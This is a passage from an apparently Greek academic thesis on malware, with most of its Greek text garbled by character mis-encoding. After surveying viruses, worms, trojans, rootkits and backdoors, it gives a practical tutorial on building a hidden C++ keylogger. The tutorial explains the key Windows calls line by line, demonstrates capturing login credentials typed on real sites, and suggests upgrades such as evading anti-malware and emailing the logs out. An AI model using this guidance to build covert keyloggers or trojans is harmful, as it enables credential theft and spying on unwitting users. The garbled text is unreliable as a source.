3. Boot-Sector virus : Ο ηωπορ ηοω boot sector είναη σεηπψηεπορ απψ ηος ςπψιοηποςρ γηαηί µοιωνεη ηα 

απσεία ηος ιεηηοςπγηθοω ζςζηήµαηορ πος είναη αποζεθεςµένα ζηον sector ηος ζθιεποω δίζθος 

πος σπεηάδεηαη ο ςποιογηζηήρ γηα να ξεθηνήζεη ζηεν απσή.Είναη σεηπψηεπορ απψ ηεν άποτε ψηη 

πεπνάεη απαπαηήπεηορ γηαηί ξεθηνάεη ππϊηορ ππην απψ άιια ςποππογπάµµαηα ψπυρ antivirus. 
 
 

 

4. Macro virus : O macro virus σαπαθηεπίδεηε απψ ψηη γπάθεηε απψ γιϊζζερ macro languages θαη 

ψση εθηειέζηµο θϊδηθα θαη πποζθοιιοων ζε απσεία documents ψπυρ είναη ηα ππογπάµµαηα ηερ 

Microsoft office θαη ηος adobe reader. Ο ζςγθεθπηµένορ ηωπορ ηοω είναη δωζθοιο να ενηοπηζηεί. 

 

5. Stealth virus : Με ηον ψπο stealth virus εννοοωµε ηον ηψ πος µε θάποηερ ζςγθεθπηµένερ ηεσνηθέρ 
 

θπωβεη ηον θαθψβοςιο αιγψπηζµο ηος ή µποπεί να αθήζεη ηο παιηψ απσείο πος έσεη µοιςνζεί άµα 

ενηοπηζηεί απψ ηο antivirus θαη πάεη να πποζθοιιήζεη ζε άιιο µε θαθψβοςιο απσείο.Επίζερ µποπεί 
 

να πεπάζεη απαπαηήπεηο απψ ηο µέγεζορ ηος απσείος πος έσεη µοιωνεη δειαδή δεν πηάνεη 

πεπηζζψηεπο απψ ηο απσηθψ. Άιιοη stealth virus πποζπαζοων να θάνοςν kill ηεν δηεπγαζία 

ηος antivirus ππην γίνοςν ανηηιεπηά. 

 

6. Polymorphic virus : Αςηψρ ο ηωπορ ηοω ψηαν εξαπιϊνεηε ζε ένα ςποιογηζηηθψ ζωζηεµα έσεη ζαν 
 

ηεσνηθή ζηο νέο ηος ανηίγπαθο πος µψιςνε να αιιάδεη ηο θιεηδί ηερ αποθπςπηογπάθεζερ ηος γηα ηον 

θϊδηθα ηος body ή να αιιάδεη ηεν ηεσνηθή ηερ θπςπηογπάθεζερ ή να αθήνεη άιιερ 

ςπογπαθέρ(signatures) θάζε θοπά πος ηο ανηίγπαθο ηος εξαπιϊνεηε θαη µοιωνεη ζε ένα νέο απσείο. 
 

Αςηψ πος θάνεη ποηο δωζθοιο ζηον ενηοπηζµψ ηος θαη ηεν ανηηµεηϊπηζε ηος είναη ψηη έσεη σηιηάδερ 
ή εθαηοµµωπηα δηαθοποποηήζεηρ θαη θάνεη ηο antivirus δωζθοια να ηο ενηοπίζεη ένα ένα ξεσυπηζηά. 
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Σκοςλήκια(worms) 
 
 

 

Σο ζθοςιήθη(worm) είναη ένα είδορ θαθψβοςιος ιογηζµηθοω πος µοιωνεη ηοςρ ςποιογηζηέρ µε 

ανηίγπαθα ηος µέζο ηος δηθηωος. Σο worm γηα να θαηαθέπεη να µοιωνεη άιιοςρ ςποιογηζηέρ ηο θάνεη : 

 

Μέζυ ηερ εςπάζεηαρ απψ ηπωπερ αζθαιείαρ πος έσεη ηο δίθηςο θαη ηα ιεηηοςπγηθά ζςζηήµαηα 
ηυν ςποιογηζηϊν. 
 

Μέζυ mail attachment πος είναη µοιςζµένο θαη µε ηεσνηθή social engineering. 
 

Μέζυ instant message απψ IRC. 
 

Μέζυ peer to peer ανηαιιαγήρ απσείυν. 
 
 

 

Άιιο ένα θοηνψ σαπαθηεπηζηηθψ ηυν worm είναη ψηη είναη standalone θαη τάσνεη µψνο ηος ηον δπψµο γηα 

να µοιωνεη ηα ςποιογηζηηθά ζςζηήµαηα θαη να θάνεη trigger ηο payload ηος γηα ηον ανάιογο ζθοπψ πος 

γπάθηεθε. 

 

΋ηαν ζςνδεζεί ηο ζθοςιήθη ζηο ςποιογηζηηθψ ζωζηεµα θαη απσίζεη να πποζβάιεη θαη ηα ςπψιοηπα ηος 

δηθηωος ο θωπηορ ζθοπψρ ηος είναη ήηε να ςποθιέτεη ζηοησεία ήηε να παπαθοιοςζήζεη ηοςρ σπήζηερ ήηε να 

δεµηοςπγήζεη εςπάζεηερ θαη θεπθψποπηερ (backdoors) γηα ηεν εηζβοιή θηάιυν θαθψβοςιυν ιογηζµηθϊν ή 

θαθψβοςιυν σπεζηϊν. 
 

∆ούπειορ ίππορ(Trojan horse) 
 

Ο δοωπεηορ ίππορ είναη έναρ ηωπορ θαθψβοςιος ιογηζµηθοω πος ξεγειάεη ηον σπήζηε , µοηάδεη γηα ένα 

βοεζεηηθψ ππψγπαµµα πος ζα θάνεη µία ζςγθεθπηµένε δοςιεηά πος ζα βοεζήζεη ηον σπήζηε ενϊ 

θπςθά είναη ενζυµαηυµένορ έναρ θαθψβοςιορ θϊδηθαρ. 
 

Αςηψ επηηςγσάνεηε : 

 

Ο σπήζηερ ηο θαηεβάζεη απψ θάποηα ηζηοζειίδα µε δηαθεµηζηηθψ ςπψζσονηαρ ψηη ζα βοεζήζεη 
ζε µία ζςγθεθπηµένε δοςιεηά. 

 
Βπίζθεη θάποηο αποζεθεςηηθψ µέζο ψπυρ θιαζάθη usb , ζθιεπψ δίζθο , cd µε ένα παπαπιανεηηθψ 

 

ψνοµα θάνονηαρ ηον σπήζηε να µπεη ζε πεηπαζµψ να ηο ζςνδέζεη ζε έναν ςποιογηζηή να δεη 
ηο πεπηεσψµενο. 

 

Απψ θάποηο mail µε ένα απσείο attachment πος να ςπψζσεηε ψηη ζα ηον βοεζήζεη αςηψ 

ηο ππψγπαµµα. 
 
 

 

΢ςνήζυρ απψ ηοςρ πεπηζζψηεποςρ Trojan horse πος έσοςν θςθιοθοπήζεη θαη έσοςν γίνεη γνυζηοί 

σπεηάδεηαη ηον έιεγσο ηος ζςγγπαθέα ή ηος δηασεηπηζηή. ΋ηαν εγθαηαζηαζεί ζηον ςποιογηζηή ηος ζηψσος 

έναρ Trojan horse µποπεί να θάνεη ποιιά ππάγµαηα. Μεπηθά παπαδείγµαηα είναη: 
 

Εγθαηάζηαζε θεπθψποπηαρ γηα αποµαθπςζµένε ππψζβαζε. 
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Πποζζήθε εςπάζεηαρ γηα εηζβοιή πεπηζζψηεπυν θαθψβοςιυν ιογηζµηθϊν , worms , virus , key 

loggers , spywares , malwares. 
 

Απενεπγοποίεζε firewall θαη δηάθοπυν antimalware ππογπαµµάηυν. 
 

Μποπεί να σπεζηµοποηεζεί ζαν time bomber θαη να γίνεη trigger ηο payload µία ζςγθεθπηµένε 

ϊπα θαη µέπα. 
 

Τποθιοπή , παπαθοιοωζεζε , ηποποποίεζε , δηαγπαθή , πποζζήθε απσείυν θαη πιεποθοπίαρ. 

Μέζυ ενψρ trojan horse ιογηζµηθοω να εγθαηαζηαζεί θπςθά ζηο παπαζθήνηο ένα RAT ( remote 

access control) ιογηζµηθψ ψπος ζα ηο δηασεηπίδεηαη θαη ζα δίνεη αποµαθπςζµένα ενηοιέρ θάποηορ 

σπήζηερ. Αςηψ είναη ε βαζηθή απσή ενψρ botnet. 
 
 

 

Ωπολογιακή βόµβα(Time bomb) 

 

Αςηή ε ζςγθεθπηµένε ςποθαηεγοπία θαθψβοςιος ιογηζµηθοω εννοεί ψηη ο θαθψβοςιορ θϊδηθαρ πος 

ζσεδηάζηεθε γηα ηον ανάιογο ζθοπψ πος ηο έγπατε ο ζςγγπαθέαρ ζα θάνεη trigger µία ζςγθεθπηµένε ϊπα. 

Είναη µηθπψηεπα θοµµάηηα θϊδηθα πος ζα ανήθοςν ζε θάποηο παπάδεηγµα worm ή virus θαη ενεπγοποηείηαη 

ψηαν πάπεη ηεν ηηµή true ε ζςνζήθε πος έσεη ππογπαµµαηηζηεί γηα ηον ανάιογο σπψνο/µήνα/µέπα/ϊπα. 
 
 

 

Λογική βόµβα(Logic bomb) 

 

Αςηή ε ςποθαηεγοπία θαθψβοςιος ιογηζµηθοω είναη ένα µηθπψ θοµµάηη θϊδηθα µέζα ζε έναν µεγαιωηεπο 

θαθψβοςιο θϊδηθα ψπυρ worms , viruses , Trojan horses. Η ιογηθή βψµβα είναη ςπεωζςνε γηα ηεν 

ενεπγοποίεζε ηος payload ηος θαθψβοςιος ιογηζµηθοω. Ενεπγοποηείηαη ψηαν πιεποωνηαη θάποηερ 

πποχποζέζεηρ θαη πςζµίζεηρ ηος ςποιογηζηή ηος ζηψσος ή ενεπγοποηείηαη αποµαθπςζµένα άµα ηο ζειήζεη 

ο θαθψβοςιορ σπήζηερ. 
 

Spyware 
 

Αςηή ε ςποθαηεγοπία θαθψβοςιος ιογηζµηθοω είναη ένα θοµµάηη θϊδηθα πος ζα ανήθεη ζε θάποηο worm ή 

Trojan horse ή virus θαη θάνεη trigger ε ζςνζήθε γηα να ηπέξεη ηο payload ηος ππογπάµµαηορ πος ηο 

payload είναη θάποηο spyware. 
 

Αςηψ είναη ςπεωζςνο γηα ηεν παπαθοιοωζεζε/θαηαζθοπία ηος ζηψσος. Μποποων να ςποθιέτοςν 

πιεποθοπίερ ηος σπήζηε πος ζα έσοςν αξία γηα ηον δεµηοςπγψ ή ηον δηασεηπηζηή ηος Spyware. Κυδηθοωρ 

, ζςνοµηιίερ , δηεςζωνζεηρ ειεθηπονηθοω ηασςδποµείος. 
 

Adware 
 

Τποθαηεγοπία θαθψβοςιος θϊδηθα πος έσεη υρ ζηψσο ηεν αποζηοιή ανεπηζωµεηυν δηαθεµηζηηθϊν. 
 

Ransomware 
 

Σο ransomware είναη ένα είδορ θαθψβοςιος ιογηζµηθοω ηο οποίο µε ωποςιο ηπψπο θιεηδϊνεη ηον 

ςποιογηζηή ηος ζωµαηορ ή θπςπηογπαθεί ηα απσεία ηος ςποιογηζηή.΢ςνήζυρ αςηψ γίνεηε γηαηί 

ςπάπσοςν θαθψβοςιοη σπήζηερ πος ζα δεηήζοςν ιίηπα γηα να ζος ξεθιεηδϊζοςν ηον ςποιογηζηή ή να 

δϊζοςν ηο θιεηδί ηερ αποθπςπηογπάθεζερ γηα να πάπεη πίζυ ηο ζωµα-σπήζηερ ηα απσεία ηος. 
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Rootkit 
 

Είδορ θαθψβοςιος ιογηζµηθοω πος ζα µποποωζε να ανήθεη ζε µία απψ ηηρ θαηεγοπίερ worm , Trojan horse 

, virus. ΢ςνήζυρ είναη γπαµµένορ ζε γιϊζζα σαµειοω επηπέδος θαη σπεζηµοποηεί ηεσνηθέρ 

απψθπςτερ(stealth) γηα να πεπνάεη απαπαηήπεηο απψ ηο ιεηηοςπγηθψ ζωζηεµα θαη antimalware 
 
ππογπάµµαηα ψπυρ antivirus , firewalls. 
 

Βαζηθή ιεηηοςπγία ενψρ rootkit είναη να ανοίγεη θεπθψποπηερ(backdoors) γηα ηεν αποµαθπςζµένε ζωνδεζε ηος 

δηασεηπηζηή ή ηον ζςγγπαθέα ηος ππογπάµµαηορ.Η ιέξε rootkit βγαίνεη απψ ηηρ ιέξεηρ root πος έσεη υρ ζθοπψ 

ο επηηηζέµενορ αποµαθπςζµένα να αποθηήζεη δηθαηϊµαηα root θαη να είναη ζαν administrator ενϊ ε ιέξε kit 

εννοεί ηο software ζαν ηο επγαιεηοζήθε πος σπεηάδεηαη γηα να πεηωσεη ο ζθοπψρ. Σα rootkits 

συπίδονηαη ζε 3 ςποθαηεγοπίερ. Kernel , Bootkit , Hypervisor Mode. 
 

Fork bomb aka Rabbit 

 

Αςηή ε ςποθαηεγοπία θαθψβοςιος ιογηζµηθοω έσεη υρ ζθοπψ να πηάζεη ηοςρ πψποςρ ηος ζςζηήµαηορ γηα 

να ηο θάνεη ποηο απγψ έυρ θαη να ηο ασπεζηέτεη.Αςηψ επηηςγσάνεη θάνονηαρ ανηίγπαθα ηος εαςηοω ηος 

ζςνέσεηα µε ηεν ζςνάπηεζε fork() Πος δεµηοςπγεί ανηίγπαθα ηος εαςηοω ηος θαη ζηεν ζςνέσεηα ηα 

ανηίγπαθα δεµηοςπγοων δηθά ηοςρ ανηίγπαθα µέσπη ηο ζωζηεµα να θαηαππεωζεη. ΢ςνήζυρ πποζπαζεί να 

θαηαιάβεη ψιοςρ ηοςρ θωθιοςρ ηερ CPUθαη ψιον ηον αποζεθεςηηθψ σϊπο ηερ ram αθψµα θαη ηοςρ πψποςρ 

ηος δηθηωος. 
 
 

 

Backdoors 
 

Ένα backdoor είναη έναρ αιγψπηζµορ µε ζθοπψ να παπαθάµτεη ηο authentication. Με αςηψν ηον ηπψπο 

εξαζθαιίδεη ηε µε εξοςζηοδοηεµένε ππψζβαζε εξ αποζηάζευρ ζε έναν ςποιογηζηή θαη να παπαµείνεη 

απαπαηήπεηο. Ένα backdoor µποπεί να ςπάπσεη ζε ένα θπςθψ µέπορ ενψρ ππογπάµµαηορ έηζη µηιάµε 

γηα rootkit. 
 

Πποεπηιεγµένοη θυδηθοί ππψζβαζερ µποποων να ιεηηοςπγήζοςν υρ backdoors εάν δεν έσοςν αιιάξεη 

απψ ηον σπήζηε.Επίζερ οπηζµένα ζθάιµαηα (bugs) ενψρ ππογπάµµαηορ µποποων να ιεηηοςπγήζοςν ζαν 

backdoors άµα δεν επηδηοπζυζοων ζε νέα έθδοζε. 
 

Παπάδεηγµα 1: Κάποηα worms ψπυρ ηο sobig θαη ηο Mydoom εγθαζηζηοων µία backdoor ζηον 

ςποιογηζηή γηα να ιαµβάνεη πσ ζηο Microsoft outlook junk mails απψ θαθψβοςιοςρ σπήζηερ θαη 

spammers πποζπειάδονηαρ ηα θίιηπα ηυν mail servers απψ ηα µοιςζµένα µεσανήµαηα. 
 
 

 

Παπάδεηγµα 2: Μία πποζπάζεηα να δεµηοςπγήζεη µία backdoor ζηον πςπήνα ηος Linux Σο 2003 

πποζζέηονηαρ µία µηθπή αιιαγή θυδηθοω αναηπέπονηαρ ηεν αναζεϊπεζε ηος ζςζηήµαηορ έιεγσος. ΢ε 

αςηήν ηεν πεπίπηυζε θαίνεηαη να ειέγσεη ηα δηθαηϊµαηα ππψζβαζερ ηος root έναρ επηζθέπηερ ζηεν 

functionsys_wait4 αιιά επεηδή σπεζηµοποηήζεθε ηο ζωµβοιο ΄=΄ απψδοζε ηηµήρ θαη ψση ηο ζωµβοιο 

΄==΄ πος είναη ίζον δίνεη δηθαηϊµαηα ζηο ζωζηεµα. 
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Παπάδεηγµα 3: Σο 2014 µηα backdoor αναθαιωθζεθε ζε οπηζµένα πποφψνηα ηερ Samsung ψπυρ οη 

ζςζθεςέρ galaxy µε ιεηηοςπγηθψ android. Οη επγοζηαζηαθέρ πςζµίζεηρ ηερ android πεπηέσοςν µία backdoor 

πος έναρ θαθψβοςιορ σπήζηερ µποπεί να έσεη αποµαθπςζµένε ππψζβαζε ζηα δεδοµένα πος είναη 

αποζεθεςµένα ζηεν ζςζθεςή. Ποηο ζςγθεθπηµένα ψηαν ηο ιογηζµηθψ android ηος galaxy είναη ζςνδεµένο 

µε ηο modem σπεζηµοποηϊνηαρ ηο Samsung IPC ππυηψθοιιο ( είναη ηο ππυηψθοιιο ςπεωζςνο γηα ηεν 

µεηαθοπά ηυν δεδοµένυν απψ ηον kernel ηος ζςζηήµαηορ ζηο application layer) ηο ππυηψθοιιο θαζϊρ 

ςιοποηεί requests απψ αποµαθπςζµένοςρ server µέζο ηος modem επηηπέπεη να εθηειεζηεί ε backdoor µέζο 

ηος modem θαηεςζείαν ζηον ζθιεπψ δίζθο ή ζε άιιερ ζςζθεςέρ αποζήθεςζερ. 
 
 

 

Κεφάλαιο 2 Malware Πρακτικό κομμάτι 
 
 
 

 

΢ηο ππαθηηθψ µέπορ αςηοω ηος θεθαιαίος ζα αναδείξυ: 
 

1) ∆εµηοςπγία ενψρ stealth keylogger µε ηεν γιϊζζα C++ θαη ηο εθηειέζηµο δεν ζα είναη εµθανέρ ζηον 

σπήζηε.  
2) Πυρ ζηεν ππάξε δοςιεωεη έναρ δοωπεηορ ίππορ (Trojan horse) ζε επίπεδο θϊδηθα ζςγθεθπηµένα 

ζε C++ θαη ανάιςζε ηος script. Μία µέζοδο πος αναδεηθνωεη πυρ γίνεηε να θπςθηεί ένα 

θαθψβοςιο ιογηζµηθψ µέζα ζε έναν απιψ θϊδηθα.  
3) ∆εµηοςπγία ενψρ ππογπάµµαηορ πος ζηεν ππαγµαηηθψηεηα ζα είναη Trojan horse θαη ζα έσεη 

µέζα ηος θπςµµένο ένα keylogger ψπος ζα εθηειείηε ψηαν ο σπήζηερ ζα ηπέσεη ηεν εθαπµογή.  
4) Ανάδεηξε ηος πανίζσςπος θαθψβοςιος ιογηζµηθοω botnet zeus πυρ γίνεηε να µοιωνεη ένα 

ςποιογηζηηθψ ζωζηεµα( ε ψζα ζέιοςµε) θαη να έπσεηαη ζηον ςποιογηζηή µαρ reports γηα θυδηθοωρ πος 

έσεη βάιεη ζε δηάθοπερ ζειίδερ αθψµα θαη screenshots απψ ηεν επηθάνεηα επγαζίαρ ηος ζηψσος. 

 
 
 
 
 
 
 
 
 
 

 

2.1 Δημιουργία Keylogger με C++ 
 

Σο πεπηεσψµενο ζε αςηψ ηο άπζπο παποςζηάδεηε µψνο γηα εθπαηδεςηηθοωρ ιψγοςρ. ΋ποηορ σπεζηµοποηήζεη 

ηηρ πιεποθοπίερ απψ αςηψ ηο πεπηεσψµενο γηα θαθψβοςιοςρ ζθοποωρ θαη ψση γηα εθπαηδεςηηθοωρ ζθοποωρ 

έσεη ηο πίζθο θαη ηεν εςζωνε. ∆εν ιαµβάνυ θαµία εςζωνε αν θάποηορ θαθψβοςιορ σπήζηερ 

σπεζηµοποηήζεη ηο keylogger γηα παπάνοµοςρ ζθοποωρ. Η αποζήθεςζε πιεθηποιψγεζερ µποπεί να 

σαπαθηεπηζηεί ζαν εηζβοιή ζηα πποζυπηθά δεδοµένα θαη να παπαβεί ηοςρ νψµοςρ πεπί πποζηαζίαρ 

ηδηυηηθήρ δυήρ θαη πνεςµαηηθϊν δηθαηυµάηυν ψπος άµα αναθαιςθηεί θάηη ηέηοηο απψ ηεν αζηςνοµία ο 

ςπεωζςνορ µποπεί να βπεζεί µέζα ζηεν θςιαθή ε να πιεπϊνεη ππψζηηµα. 
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Εηθψνα 2.1 

Πίναθαρ Ascii 
 
 

 

Σο Keylogger πος ζα 

σπεζηµοποηήζοςµε ζα 

αποζεθεωεη απψ ηον ascii 

πίναθα ζε ένα .txt µε 

ψνοµα log. Οηηδήποηε 

πιεθηποιογήζαµε ε 

παηήζαµε µε ηο πονηίθη 

ψζε ϊπα ηο ππψγπαµµα 

έηπεσε απψ πίζυ ζε 

stealth θαζϊρ ο σπήζηερ 

σπεζηµοποηοωζε ηον 

ςποιογηζηή. 

 

Σο επγαιείο πος 

ζα σπεζηµοποηήζοςµε ζα 

είναη ηο Dev-C++ 5.11 
 

πος είναη freeware ψπος 

µποποωµε να ηο 

θαηεβάζοςµε απψ ηεν 
 
ζειίδα http://download.cnet.com/Orw ell-Dev-C/3000-2069_4-12686.html ψπος µποποωµε να γπάτοςµε 

θϊδηθα C , C++ ψπος γηα compilers σπεζηµοποηεί ηον gcc θαη ηον cygwin. Επίζερ άιιο βοεζεηηθψ πος ζα 

σπεηαζηοωµε ζα είναη έναρ αναιςηηθψρ πίναθαρ ηος ascii θαη ζςγθεθπηµένα µποπο ωµε να 

σπεζηµοποηήζοςµε απψ ηεν ζειίδα http://www.asciitable.com/ ηον πίναθα ascii πος έσεη µέζα µε ηοςρ 255 

βαζηθοωρ σαπαθηήπερ. 
 

Σεν εγθαηάζηαζε ηος επγαιείος Dev -C++ 5.11 ζα ηο δείξοςµε ζε άιιο θεθάιαηο. Γηα ηεν ϊπα ζα 

δοωµε πυρ µποποωµε να θηηάξοςµε ηο keylo gger µε αςηψ ηο επγαιείο. 
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Παηάµε ζηεν πάνυ απηζηεπά ζεηπά επγαιείυν ηεν επηιογή File ->  New ->  Source File . 
 
 
 
 

εηθψνα 2.2 
 

΢ηεν ζςνέσεηα µαρ 

ανοίγεη έναν 

θεηµενογπάθο γηα να 

βάιοςµε ηον θϊδηθα 

µαρ µέζα θαη βάδυ 

ζε screenshot ηον 

θϊδηθα θαηεςζείαν 

θαη µεηά ζα εξεγήζυ 

βήµα ππορ βήµα ηεν 

ιεηηοςπγία ηος. 
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εηθψνα 2.3 
24 



malware , active hacking ,passive hacking 
 
 

Ππην πποσυπήζυ ζηεν παποςζίαζε ηερ ιεηηοςπγίαρ ηερ εθαπµογήρ ζα εξεγήζυ γπαµµή ππορ γπαµµή 
ηη θάνεη ο θϊδηθαρ. 
 

΢ηεν γπαµµή 1 πποζζέηοςµε ηεν βηβιηοζήθε iostream  ψπος σπεζηµεωεη γηα βαζηθέρ επγαζίερ ηερ 
 

C++ ψπυρ input θαη output streams ψπυρ ηο cin θαη ηο cout. 
 

΢ηεν γπαµµή 3 ε βηβιηοζήθε Windows.h πεπηέσεη ψιερ ηηρ ζςναπηήζεηρ πος σπεζηµοποηοωνηαη γηα 

να δηαδπάζοςν µε ηηρ Microsoft API(application programming interface).΢ε θανένα άιιο 

ιεηηοςπγηθψ ζωζηεµα ψπυρ Mac ε θάποηο linux ζα ιεηηοςπγοωζε αςηή ε βηβιηοζήθε. 
 

΢ηεν γπαµµή 20 θαη ζηεν γπαµµή 44 ε ζςνάπηεζε sleep() πποέπσεηαη απψ ηεν βηβιηοζήθε 

Windows.h θαη ε επγαζία ηερ είναη να πίσνεη ηεν δηεπγαζία ζε αδπάνεηα γηα ψζα milliseconds 

έσεη δοζεί ζηο ψπηζµα ηερ. 
 

΢ηεν γπαµµή 13 ε ζςνάπηεζε FreeConsole() πποέπσεηαη απψ ηεν βηβιηοζήθε Windows.h θαη ιέεη ζηο 

ππψγπαµµα να ηπέσεη συπίρ να είναη θάποηο παπάζςπο ανοησηψ ζηεν οζψνε. Μποποωµε να ηο δοωµε 

παηϊνηαρ Cntrl+Alt+Delete , ζηον πίναθα Windows Task Manager , ζηεν θαπηέια Processes 

ζα δοωµε ηο ψνοµα ηος απσείος να ηπέσεη. 
 

΢ηεν γπαµµή 27 ε ζςνάπηεζε GetAsyncKeyState() πος πποέπσεηαη απψ ηεν βηβιηοζήθε Windows.h 
 

. Η ζςνάπηεζε δέσεηαη ζαν ψπηζµα έναν integer θαη τάσνεη ζηον πίναθα ascii ηον σαπαθηήπα 

πος ανήθεη αςηψρ ο απηζµψρ. ΢ςγθεθπηµένα ζηεν γπαµµή 27 ε ζςνζήθε 
 

if(GetAsyncKeyState(i) == -32767) µε ηεν έννοηα „-32767‟ ψηη ηο θοςµπί παηήζεθε θαη µεηά 

ο σπήζηερ ηο άθεζε. 
 

΢ηεν γπαµµή 29 θαιείηαη ε ζςνάπηεζε save πος δεµηοςπγήζαµε µε 2 οπίζµαηα ηον απηζµψ 

ζηον πίναθα ascii ηος σαπαθηήπα θαη ηο απσείο log.txt ψπος ζα αποζεθεωζεη ηον σαπαθηήπα ηο 

ππψγπαµµα. 
 

΢ηηρ γπαµµέρ 52 θαη 53 έσεη µηα ζςνζήθε πος ιέεη ψηη άµα ο σαπαθηήπαρ είναη ίδηο (µε µία ιίζηα απψ 

virtual keys πος έσοςν ηα windows ψπυρ βιέποςµε ζηο link https://msdn.microsoft.com/en-

us/library/windows/desktop/dd375731(v=vs.85).aspx ) ιέµε ζηεν γπαµµή 53 να ηο αποζεθεωζεη µέζα 

ζηο log.txt ζαν [SWIFT] επεηδή ηο notepad δεν έσεη άιιον ηπψπο να απεηθονίζεη ψηη παηήζεθε ηο 

θοςµπί swift θαη απιά ζα πέηαγε αθαηαιαβίζηηθα. Σο ίδηο αθπηβϊρ θάνεη θαη ζηηρ ζεηπέρ 

56,59,62,65.Τπάπσοςν θηάια πος µποποωζα να πποζζέζυ απψ ηον πίναθα πος ςπάπσεη ζηο link. 
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εηθψνα 2.4 δείγµα ηος πίναθα ηυν virtual 
buttons πος ςπάπσοςν θαη ζηεν βηβιηοζήθε 

windows.h ψπος επηθοηνυνεί µε ηα api ηος 

ιεηηοςπγηθοω ζςζηήµαηορ ηυν windows. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

Αθοω είδαµε ηον θϊδηθα αρ ηον θάνοςµε 

compile να δοωµε άµα 

ζα δοςιέτεη ηο .exe. 
 
 
 
 
 

 

εηθψνα 2.5 Σο 
 

αποζεθεωοςµε ζε έναν 

θάθειο πος ιέγεηε 

keylogger θαη ηο 

ονοµάδοςµε ηο απσείο 

µε ηον θϊδηθα 

keylogger.cpp θαη 

ψηαν γίνεη compile 

ζηον ίδηο θάθειο ζα 

δεµηοςπγεζοων 2 
 
επηπιέον απσεία. Ένα πος ιέγεηε keylogger.exe θαη ένα απσείο log.txt 
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εηθψνα 2.6 
 

Σο log.txt 
 

είναη άδεηο. 

΋ηαν ζα 
 
εθηειέζυ ηο keylogger.exe ζα ηπέσεη ζηο background συπίρ να θαίνεηε. Θα θαίνεηε µψνο ζηο task 

manager ηεν ϊπα πος ζα ηπέσεη θαη ποςζενά αιιοω θαη ψηη παηάµε απψ ηο πιεθηποιψγηο ε απψ ηο πονηίθη 

ζα θαηαγπάθεηε µέζα ζηο log.txt. 
 

 

εηθψνα 2.7 ΢ηο taskbar δεν είναη 
εµθανέρ ψηη ηπέσεη ο keylogger µψνο 

ζηο windows task manager. 
 
 
 
 
 
 
 
 

 

Σϊπα ζα δοθηµάζοςµε αν ψνηυρ 

δοςιεωεη ο keylogger. Θα ζςνδεζϊ ζε 

3 δηαθοπεηηθέρ ζειίδερ 

www.facebook.com , 

www.hotmail.com , www.e-bay.com 
 

θαη ζα πποζπαζήζυ να θάνυ log 

in να δυ άµα ζα θαηαγπάτεη ηα 
 
ζηοησεία θαη ηοςρ θυδηθοωρ ο keylogger. 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.8 ζηοησεία πος µπήθαν : hellofacebook@hotmail.com whatsupfacebook? 
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εηθψνα 2.9 ΢ηοησεία πος µπήθαν: hellopaypal@paypal.com   whatsuppaypal? 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.10 ΢ηοησεία πος µπήθαν : hellohotmail@hotmail.com whatsuphotmail? 
 
 
 
 

Άνοηξα ηον browser , άνοηξα 3 tabs , πιεθηποιψγεζα θαη ηηρ 3 δηεςζωνζεηρ ωζηεπα έβαια ηα ζηοησεία 

µος θαη πάηεζα enter. ΋ιε αςηήν ηεν δηαδηθαζία ο keylogger ηεν θαηέγπατε µέζα ζηο log.txt. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.11 
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Μεηά απψ ψιερ ηηρ ενέπγεηερ έθιεηζα ηο ππψγπαµµα απψ ηο task manager θαη εδϊ πέπα είναη ηο log.txt 

πος θαηέγπαθε. 
 

΢ηεν εηθψνα βιέποςµε θαηαγπαµµένερ ψιερ ηηρ θηνήζεηρ απψ ηεν ζηηγµή πος άνοηξα ηον browser , άνοηξα 3 

tabs πιεθηποιψγεζα ηηρ δηεςζωνζεηρ θαη ωζηεπα έβαια ηα ζηοησεία σπήζηε ψπος δεν είναη αιεζηνά αιιά δεν 

έσεη ζεµαζία αςηψ , ζθοπψρ είναη ε θαηαγπαθή. 
 

΋πυρ βιέποςµε έσοςν αποζεθεςηεί ζαν [LBUTTON] θάζε θοπά πος σπεζηµοποηοωζα ηο απηζηεπψ θιηθ σάπε 

ζηεν γπαµµή 59 ζηον θϊδηθα µαρ. Κάζε θοπά πος παηοωζα ηο swift ηο αποζήθεςε san [SWIFT] σάπε ζηεν 

γπαµµή 53 θαη θάζε θοπά πος παηοωζα ηο enter ηο αποζήθεςε ζαν [RETURN] σάπε ζηεν γπαµµή 62. 

 

Παπαηεπϊνηαρ ηο log.txt βιέποςµε ηα 3 ππϊηα left click πος γίνανε, 1 γηα να ανοίξεη ο Chrome απψ ηο 

taskbar θαη 2 επηπιέον left click πος γίνανε γηα να ανοίξοςν 2 επηπιέον tabs. Πιεθηποιογοωµε ηεν 

δηεωζςνζε ηερ ζειίδαρ ηος facebook , παηάµε ENTER θαη µε απηζηεπψ θιηθ πάµε ζε άιιο tab θαη γίνεηε ε 

ίδηα δηαδηθαζία γηα ηα ςπψιοηπα 2 site. Όζηεπα θάποηα left button θαη µεηά θαηέγπατε ηο username θαη 

ηον θυδηθψ πος έβαια ζηο login ηος facebook θαη έηζη αθπηβϊρ έγηνε γηα ηα άιια site ψπυρ ηο e-bay θαη ηο 

hotmail. Σα µεγάια θενά πος ςπάπσοςν ανάµεζα ζηοςρ σαπαθηήπερ ζεµαίνεη ψηη ηψηε παηήζεθε ηο θοςµπί 
 
Tab. 
 
 

 

Αςηψρ ο keylogger ήηαν µία ποιω απιή µοπθή keylogger. Άµα θπςθηεί µέζα ζε ένα άιιο ππψγπαµµα µε 

µία ηεσνηθή πος ζα δείξυ παπαθάηυ (πυρ να δεµηοςπγοωµε Trojan horses) ε µε ηεν ηεσνηθή ηερ 

ζηεγανογπαθίαρ. 
 

Έναρ πποσυπεµένορ keylogger µποπεί να γίνεη ποιω ποηο ζωνζεηορ ψπυρ: 
 

 Nα σπεζηµοποηεί ηεσνηθέρ θπςπηογπάθεζερ γηα να ξεθεωγεη απψ ηα antη-malware ππογπάµµαηα .
 Nα αποζεθεωεη ψιοςρ ηοςρ σαπαθηήπερ αθψµα θαη απψ ηον πίναθα extended ascii.
 Να ηαξηνοµεί ζηεν βάζε δεδοµένυν µε εµεποµενία θαη ϊπα ηα ζςµβάνηα.


 Να αποζηέιιεη ηο keylogger αςηψµαηα µέζο mail ή µέζο αποµαθπςζµένερ ζωνδεζερ µε 

ηον δηασεηπηζηή ηος ππογπάµµαηορ ηο log file.
 
 
 
 
 
 
 
 

 

